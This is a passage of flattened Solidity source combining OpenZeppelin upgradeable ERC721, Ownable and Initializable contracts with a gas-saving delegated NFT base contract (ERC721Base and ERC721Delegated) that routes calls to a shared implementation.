functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts-upgradeable/interfaces/IERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981Upgradeable is IERC165Upgradeable { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // File: gwei-slim-nft-contracts/contracts/base/ERC721Base.sol pragma solidity 0.8.9; struct ConfigSettings { uint16 royaltyBps; string uriBase; string uriExtension; bool hasTransferHook; } /** This smart contract adds features and allows for a ownership only by another smart contract as fallback behavior while also implementing all normal ERC721 functions as expected */ contract ERC721Base is ERC721Upgradeable, IBaseERC721Interface, IERC2981Upgradeable, OwnableUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; // Minted counter for totalSupply() CountersUpgradeable.Counter private mintedCounter; modifier onlyInternal() { require(msg.sender == address(this), "Only internal"); _; } /// on-chain record of when this contract was deployed uint256 public immutable deployedBlock; ConfigSettings public advancedConfig; /// Constructor called once when the base contract is deployed constructor() { // Can be used to verify contract implementation is correct at address deployedBlock = block.number; } /// Initializer that's called when a new child nft is setup /// @param newOwner Owner for the new derived nft /// @param _name name of NFT contract /// @param _symbol symbol of NFT contract /// @param settings configuration settings for uri, royalty, and hooks features function initialize( address newOwner, string memory _name, string memory _symbol, ConfigSettings memory settings ) public initializer { __ERC721_init(_name, _symbol); __Ownable_init(); advancedConfig = settings; transferOwnership(newOwner); } /// Getter to expose appoval status to root contract function isApprovedForAll(address _owner, address operator) public view override returns (bool) { return ERC721Upgradeable.isApprovedForAll(_owner, operator) || operator == address(this); } /// internal getter for approval by all /// When isApprovedForAll is overridden, this can be used to call original impl function __isApprovedForAll(address _owner, address operator) public view override returns (bool) { return isApprovedForAll(_owner, operator); } /// Hook that when enabled manually calls _beforeTokenTransfer on function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { if (advancedConfig.hasTransferHook) { (bool success, ) = address(this).delegatecall( abi.encodeWithSignature( "_beforeTokenTransfer(address,address,uint256)", from, to, tokenId ) ); // Raise error again from result if error exists assembly { switch success // delegatecall returns 0 on error. case 0 { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } } /// Internal-only function to update the base uri function __setBaseURI(string memory uriBase, string memory uriExtension) public override onlyInternal { advancedConfig.uriBase = uriBase; advancedConfig.uriExtension = uriExtension; } /// @dev returns the number of minted tokens /// uses some extra gas but makes etherscan and users happy so :shrug: /// partial erc721enumerable implemntation function totalSupply() public view returns (uint256) { return mintedCounter.current(); } /** Internal-only @param to address to send the newly minted NFT to @dev This mints one edition to the given address by an allowed minter on the edition instance. */ function __mint(address to, uint256 tokenId) external override onlyInternal { _mint(to, tokenId); mintedCounter.increment(); } /** @param tokenId Token ID to burn User burn function for token id */ function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not allowed"); _burn(tokenId); mintedCounter.decrement(); } /// Internal only function __burn(uint256 tokenId) public onlyInternal { _burn(tokenId); mintedCounter.decrement(); } /** Simple override for owner interface. */ function owner() public view override(OwnableUpgradeable) returns (address) { return super.owner(); } /// internal alias for overrides function __owner() public view override(IBaseERC721Interface) returns (address) { return owner(); } /// Get royalty information for token /// ignored token id to get royalty info. able to override and set per-token royalties /// @param _salePrice sales price for token to determine royalty split function royaltyInfo(uint256, uint256 _salePrice) external view override returns (address receiver, uint256 royaltyAmount) { // If ownership is revoked, don't set royalties. if (owner() == address(0x0)) { return (owner(), 0); } return (owner(), (_salePrice * advancedConfig.royaltyBps) / 10_000); } /// Default simple token-uri implementation. works for ipfs folders too /// @param tokenId token id ot get uri for /// @return default uri getter functionality function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "No token"); return string( abi.encodePacked( advancedConfig.uriBase, StringsUpgradeable.toString(tokenId), advancedConfig.uriExtension ) ); } /// internal base override function __tokenURI(uint256 tokenId) public view onlyInternal returns (string memory) { return tokenURI(tokenId); } /// Exposing token exists check for base contract function __exists(uint256 tokenId) external view override returns (bool) { return _exists(tokenId); } /// Getter for approved or owner function __isApprovedOrOwner(address spender, uint256 tokenId) external view override onlyInternal returns (bool) { return _isApprovedOrOwner(spender, tokenId); } /// IERC165 getter /// @param interfaceId interfaceId bytes4 to check support for function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) { return type(IERC2981Upgradeable).interfaceId == interfaceId || type(IBaseERC721Interface).interfaceId == interfaceId || ERC721Upgradeable.supportsInterface(interfaceId); } } // File: gwei-slim-nft-contracts/contracts/base/ERC721Delegated.sol pragma solidity 0.8.9; contract ERC721Delegated { uint256[100000] gap; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // Reference to base NFT implementation function implementation() public view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _initImplementation(address _nftImplementation) private { StorageSlotUpgradeable .getAddressSlot(_IMPLEMENTATION_SLOT) .value = _nftImplementation; } /// Constructor that sets up the constructor( address _nftImplementation, string memory name, string memory symbol, ConfigSettings memory settings ) { /// Removed for gas saving reasons, the check below implictly accomplishes this // require( // _nftImplementation.supportsInterface( // type(IBaseERC721Interface).interfaceId // ) // ); _initImplementation(_nftImplementation); (bool success, ) = _nftImplementation.delegatecall( abi.encodeWithSignature( "initialize(address,string,string,(uint16,string,string,bool))", msg.sender, name, symbol, settings ) ); require(success); } /// OnlyOwner implemntation that proxies to base ownable contract for info modifier onlyOwner() { require(msg.sender == base().__owner(), "Not owner"); _; } /// Getter to return the base implementation contract to call methods from /// Don't expose base contract to parent due to need to call private internal base functions function base() private view returns (IBaseERC721Interface) { return IBaseERC721Interface(address(this)); } // helpers to mimic Openzeppelin internal functions /// Getter for the contract owner /// @return address owner address function _owner() internal view returns (address) { return base().__owner(); } /// Internal burn function, only accessible from within contract /// @param id nft id to burn function _burn(uint256 id) internal { base().__burn(id); } /// Internal mint function, only accessible from within contract /// @param to address to mint NFT to /// @param id nft id to mint function _mint(address to, uint256 id) internal { base().__mint(to, id); } /// Internal exists function to determine if fn exists /// @param id nft id to check if exists function _exists(uint256 id) internal view returns (bool) { return base().__exists(id); } /// Internal getter for tokenURI /// @param tokenId id of token to get tokenURI for function _tokenURI(uint256 tokenId) internal view returns (string memory) { return base().__tokenURI(tokenId); } /// is approved for all getter underlying getter /// @param owner to check /// @param operator to check function _isApprovedForAll(address owner, address operator) internal view returns (bool) { return base().__isApprovedForAll(owner, operator); } /// Internal getter for approved or owner for a given operator /// @param operator address of operator to check /// @param id id of nft to check for function _isApprovedOrOwner(address operator, uint256 id) 